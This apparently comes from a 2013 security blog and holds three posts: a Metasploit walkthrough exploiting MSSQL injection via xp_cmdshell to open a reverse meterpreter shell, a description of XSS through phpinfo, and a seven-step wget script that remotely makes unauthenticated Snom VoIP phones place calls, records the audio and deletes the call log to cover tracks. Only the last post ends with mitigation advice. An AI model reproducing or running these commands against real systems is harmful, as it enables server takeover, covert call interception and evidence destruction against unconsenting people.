Tuesday, 29 January 2013

Exploiting SQL injection vulnerabilities with Metasploit (Part-1)

In this post we are going to show how to exploit a SQL injection vulnerability on a web application using Microsoft SQL server backend where xp_cmdshell is available to the attacker. Given a penetration test to a web application it is identified that it is vulnerable to SQL injection attacks and the penetration tester can execute administrative stored procedures:;exec master..xp_cmdshell ‘ping′;–
If the request shown above is successful then arbitrary commands could be executed in the host. At this point, there are a number of options that would allow the tester to fully compromise the server. There are public tools which could aid the attacker to automate the take over process. This post will cover the use of a Metasploit module.

The mssql_payload_sqli module will execute any Windows payload on the target host. In this example we will execute meterpreter which is one of the payloads that offers great flexibility to the penetration tester.

It is necessary to specify the exact point where the SQL injection vulnerability is. We do that by entering the GET_PATH variable with an [SQLi] token. The token will be the place where the payload will be executed. The rest of the exploitation process is the same as any other vulnerability, this is the exploitation based on the URL shown above:

msf > use windows/mssql/mssql_payload_sqli

msf exploit(mssql_payload_sqli) >set GET_PATH
GET_PATH =>;[SQLi];--
msf exploit(mssql_payload_sqli) > set RHOST

msf exploit(mssql_payload_sqli) >set PAYLOAD windows/patchupmeterpreter/reverse_tcp
PAYLOAD => windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) > set LHOST

msf exploit(mssql_payload_sqli) > set LPORT 80
LPORT => 80

msf exploit(mssql_payload_sqli) > exploit
 After the exploitation the attacker will get a meterpreter shell. 
SQL injection exploitation with Metasploit
If you want to use this code you can download it from Secforce security tools repository.

XSS Vulnerability in phpinfo()

Hi everyone,

I just found a very good post that discloses xss vulnerability in phpinfo. So the first one, is through the User Agent. In PHPINFO, it displays a bunch of information, and YOUR User Agent is included. So we need Tamper Data, for this. Open tamper data, and refresh the page. Once you’ve done that, change your User Agent to your XSS query. Then press okay, and the site will reload and execute your query.

          I guess that one isn’t very good for actually Seing people. So I also have a GET based XSS exploit in PHPINFO. It’s quite interesting. It is located in the PHP variables area. In a part of that section, it will show your GET request. But there’s a little catch. You must add a “[]” at the end of your GET variable, because once we do that, the PHPINFO thinks we’re using an Array. And that’s where our XSS is located. So for example:


Keep in mind it blocks “alert”.
That’s pretty much it, hope you guys find good use of it!

Saturday, 26 January 2013

Remote Tapping a Snom VoIP Phone

I have a bit of history in attacking VoIP phones, specifically VoIP Wifi phones. Way back in 2005-2006 I purchased several VoIP Wifi phones and conducted very basic security analysis to demonstrate a commonality of vulnerabilities, most notably that many of them had a number of open ports and extraneous services.
               This research resulted in several CVEs, including some companies that should have known better. I also spoke a few conferences, and you can check out my Shmoocon slides from 2006. Most importantly of all, my findings of the VXworks debugging port of UDP/17185 was recently deeply expanded upon by none other than HD Moore who released research and a set of tools that is truly awe-inspiring when it comes to attacking VXworks debugging. For myself, it was humbling to see HD take this to a level that I can only dream of someday attaining.
                So, last week, Michael Sutton at Zscalar wrote a blog post about misusing a new feature in HP Printers called WebScan. Essentially, WebScan functionality allows a user to scan a document that is physically on the printer and save the image to the local computer. HP’s WebScan is an excellent example of how a device’s features are all too often are leveraged by attackers, and Michael’s post inspired me to look at some recent features ripe for abuse in VoIP phones.
                 One area that I wanted to revisit is attackers able to control a VoIP phone dialing. Back in 2006 I identified a feature in Clipcomm VoiP Wifi phones that would allow an attacker to log into the phone via telnet and place a call from the VoiP Wifi phone to any number. Pretty bad stuff, right?
                  Looking at some of the newer VoIP phones from Snom, however, and there’s a webpage on the Snom’s webserver that allows one to enter in a number to dial. A useful feature, so long as your Snom has authentication set on the webserver, otherwise anyone with access to that webpage can make a call. From the Snom user’s perspective, this feature will start a call from your Snom on the speakerphone.

                So, with this kind of feature, an attacker could search for Snom phones exposed on the Internet, determine if they are using HTTP authentication, and if they are not, could easily connect the the Snom VoIP phone’s webserver and punch in the number to dial — clearly opening up avenues to cause grief such as expensive 900 numbers, prank calls, etc.
Really, this is not a big deal, and is more of a headache than anything else. But what if an attacker could remotely capture on the phone the voice streams from a call that she placed? That ups the ante a bit, and such an attack is possible by abusing features!

Snom VoIP Phone PCAP Trace

                  Some Snom VoIP phones have a feature called “PCAP Trace” that allows, via the web interface, the start/stop and download of a PCAP file on the Snom VoIP phone — the screenshot below shows the actual page on the VoIP phone, a Snom 360 in this case.

The Snom PCAP Trace feature does have limitations in that it the PCAP data is stored in a circular buffer because of memory limitations, and that enabling PCAP capture can impact the phone’s performance (no surprise here). Still, it is a scary feature that if not secured creates an attack vector where a remote attacker can literally tap your phone.

Remote Tapping Your Snom VoIP Phone

             To start/stop a PCAP on the Snom VoIP phone, one just clicks on the ‘Start’ or ‘Stop’ buttons on the phone webpage. After the capture is complete, an attacker can then download the PCAP trace and extract the audio using Wireshark or the amazing command-line RTPbreak by Michele Dallachiesa.
              So, combining the web page place call feature with the PCAP trace feature, an attacker can make a Snom VoIP phone call any number and then the attacker can capture the call remotely on the Snom VoIP phone. For the final touch, an attacker can also delete the call record of the last call made, thereby wiping the apparent record of the call, at least on the Snom VoIP phone itself. Scary? You betcha. The following is a walk-through of the seven steps — you can code this up for yourself or download my handy-dandy snom_call_tap.sh script — please do be ethical and responsible with this script.

Poor Man’s NSA — Step-by-Step

Step 1: Start the tap on the Snom Web interface
wget    –post-data=’start_pcap=Start’    $1/pcap.htm     -O logz_$1/start_pcap.html

Step 2: Place the call to the target through the Snom Web Interface
wget    –post-data=’NUMBER=’$2′&DIAL=Dial&active_line=1′ $1    -O logz_$1/place_call.html

Step 3: Stop the tap on the Snom Web interface
wget    –post-data=’stop_pcap=Stop’    $1/pcap.htm    -O logz_$1/stop_pcap.html

Step 4: Pull the PCAP from the Snom Web Interface
wget http://$1/trace.pcap -O logz_$1/trace_$1.pcap

Step 5: Run RTPbreak to extract the RTP stream from the PCAP
rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap

Step 6: Run SOX to marry the extracted audio into single WAV file
sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav

Step 7: Delete the last call record to cover tracks
wget http://$1/adr.htm?dialeddel=1 -O logz_$1/del_call_log.htm

So, there you have it. What makes this kind of feature especially problematic are two things. First, known vulnerabilities in some Snom phones allows an attacker to bypass authentication. Second, Shodan, which I’ve written about before here and here, makes it easy for attackers to locate vulnerable Snom phones. I leave following-up on these aspects an exercise for the reader.


Don’t like the possibility of some miscreant controlling your Snom VoIP phone, making calls on your behalf and tapping your calls? I expect that you don’t. Here are some humble suggestions to mitigate help you to mitigate your risk.
  • Avoid putting VoIP phones on public IP if at all possible
  • Use latest code for VoIP phones that patches known vulnerabilities
  • Enable authentication on the VoIP phone’s Web interface and use a strong password
  • Send logs from phone to another server and review for abuse
  • Train phone users to recognize their VoIP phone is compromised (slow running, makes calls by itself, etc.)
  • Demand from vendors firmware images that do not have such dangerous functionality — or at least have more authentication to use this kind of “feature”
  • Support alternatives like the Open Snom Project
  • Tuesday, 15 January 2013